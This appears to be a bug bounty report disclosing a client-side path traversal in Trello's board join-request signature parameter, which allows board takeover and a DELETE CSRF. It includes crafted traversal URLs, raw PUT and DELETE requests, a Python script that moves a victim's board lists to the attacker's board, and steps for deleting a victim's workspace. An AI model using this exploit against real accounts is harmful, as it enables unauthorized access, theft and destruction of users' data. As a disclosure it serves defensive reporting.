Summary by Trello
Path Traversal Vulnerability in Trello
Path Traversal Vulnerability in Trello
A user could takeover a Trello board and also exploit the delete CSRF to delete any resource from the victims account.
trello.com
Web App
While accepting a user's join request on my board, I discovered a client-side path traversal vulnerability that could allow an attacker to gain unauthorized access to a victim's board and delete any workspace or board from the victim's account. I am demonstrating the impact by deleting the victim's workspace, but in reality, it is a DELETE CSRF vulnerability that can be exploited on any endpoint.
https://trello.com/b/yRvB2t1c/victims-board?inviteMemberId=6711d103e5e01137df8a7db2&signature=/../../../../../../any/endpoint
https://trello.com/any/endpointand the issue here is that if the response to this request returns a 200 status code, it is considered a valid signature. Since the request to any/endpoint returns a 200 OK response with a 'not found' page, it is also considered a valid access request. As a result, another request is made to add the attacker to the board via the following endpoint:
PUT /1/boards/6713a82d6cd9c8074a8de8c2/members/6711d103e5e01137df8a7db2?type=normal
import requests
import time
import json
# Replace the value of cookie with attacker's cookie
cookies = {
'cookie': '',
}
# Enter the id of the attacker's board where the lists will be transferred to
id_board = ''
# Enter the dsc value used as a csrf token
dsc = ''
# Edit the shortlink with the victims board
url = f'https://trello.com/1/board/victimsBoardShortLink/lists'
def get_lists():
print("Sending GET request to retrieve lists...")
response = requests.get(url, cookies=cookies)
if response.status_code == 200:
print("GET request successful. Status code: 200")
lists_data = response.json()
list_ids = [item['id'] for item in lists_data]
print(f"Extracted list IDs: {list_ids}")
return list_ids
elif response.status_code == 401:
print("Unauthorized access (401). Retrying in 3 seconds...")
return None
else:
print(f"Received unexpected status code: {response.status_code}")
return None
def update_lists(list_ids):
for list_id in list_ids:
print(f"Updating list with ID: {list_id}...")
put_url = f'https://trello.com/1/lists/{list_id}'
body = {
'pos': 24576,
'idBoard': id_board,
'dsc': dsc
}
response = requests.put(put_url, cookies=cookies, json=body)
if response.status_code == 200:
print(f"Successfully transferred the list ID: {list_id}")
else:
print(f"Failed to transfer the list ID: {list_id}. Status code: {response.status_code}")
def main():
while True:
list_ids = get_lists()
if list_ids is not None:
update_lists(list_ids)
break
time.sleep(3)
if __name__ == "__main__":
main()
PUT /1/boards/6713a82d6cd9c8074a8de8c2/members/6711d103e5e01137df8a7db2?type=normal.
DELETE /1/board/6713a82d6cd9c8074a8de8c2/accessRequests/6711d103e5e01137df8a7db2/5a7edc4eeba3fa6473c978a908818b77
DELETE /any/endpoint.
DELETE /1/organizations/victimsorgshortname
An attacker can gain unauthorized access to the victim's boards and utilize the DELETE method CSRF to delete any item from the victim's account.
Create account A and B as the attacker and victim account
Create a new board on each of the accounts, as well as an additional workspace from the victim's account, which we will later delete.
For the attack we need the victim's board link, attackers member id and the workspace id of the victim.
You can obtain the victim's board link by simply checking the URL displayed in the browser when you open the victim's board.
https://trello.com/1/members/me?fields=id
To delete the victim's workspace, simply open the workspace and copy the short name from the URL. For example, in the URL https://trello.com/w/bugbounty122, bugbounty122 is the workspace short name.
Now with all the ids modify the below url:
https://trello.com/b/yRvB2t1c/victims-board?inviteMemberId={attackersmemberid}&signature=/../../../../../../1/organizations/victimsorgshortname
Before sending it to the victim run the python script i have mentioned above and also change the variables in the script as stated.
Open the link as the victim and observe that all of the boards have been transferred to the attacker's board. Additionally, the extra workspace we created has now been deleted.
I am attaching a video proof of concept (POC) to demonstrate the attack. I recommend watching the video first before attempting to reproduce the issue on your own.